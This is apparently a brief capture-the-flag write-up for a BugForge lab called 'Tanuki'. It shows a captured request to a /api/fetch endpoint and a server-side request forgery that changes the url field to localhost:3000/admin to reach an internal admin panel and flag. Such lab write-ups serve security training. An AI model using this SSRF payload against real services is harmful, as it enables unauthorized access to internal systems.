# Tanuki

Level: Easy\
Points: 10\
Type: Daily Challenge

Lab Interface

<figure><img src="https://559802299-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8C3FiojCIEtxH7nox2Do%2Fuploads%2FgJJyOjSXdfGvbPV5T6Gy%2Fimage.png?alt=media&#x26;token=cf8fd35c-3ecc-43bb-84c5-81a18a3a97c4" alt=""><figcaption></figcaption></figure>

The interesting request is for the stats page

<figure><img src="https://559802299-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8C3FiojCIEtxH7nox2Do%2Fuploads%2F9bcQ52CnXOJLdsSu6jOI%2Fimage.png?alt=media&#x26;token=a178bed5-9973-4dda-b91d-89f53809bebb" alt=""><figcaption></figcaption></figure>

```
POST /api/fetch HTTP/2
Host: lab-1772553605009-wg1rjm.labs-app.bugforge.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJzdXNoaWwiLCJpYXQiOjE3NzI1NTM2MjF9.NPJaxSBBUjqSBrSgRHp4NCNbsAsL4b0mgELIsnBsCj8
Content-Length: 43
Origin: https://lab-1772553605009-wg1rjm.labs-app.bugforge.io
Referer: https://lab-1772553605009-wg1rjm.labs-app.bugforge.io/leaderboard
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Pwnfox-Color: green
Priority: u=0
Te: trailers

{"url":"http://localhost:3000/leaderboard"}
```

Possible `SSRF`&#x20;

I tried editing the url parameter.

<figure><img src="https://559802299-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8C3FiojCIEtxH7nox2Do%2Fuploads%2FppaPWVcOx0HOm9OB543l%2Fimage.png?alt=media&#x26;token=e5be4ec5-a89e-4efd-b1c5-bc043a0767a9" alt=""><figcaption></figcaption></figure>

Only port 3000 is allowed.&#x20;

After little bit of tinkering: `http://localhost:3000/admin` revealed the admin panel and flag.

<figure><img src="https://559802299-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8C3FiojCIEtxH7nox2Do%2Fuploads%2FoxRwIeEZWWO0pD9CgsL2%2Fimage.png?alt=media&#x26;token=4b17c6d6-533b-4e37-804e-471959015d55" alt=""><figcaption></figcaption></figure>
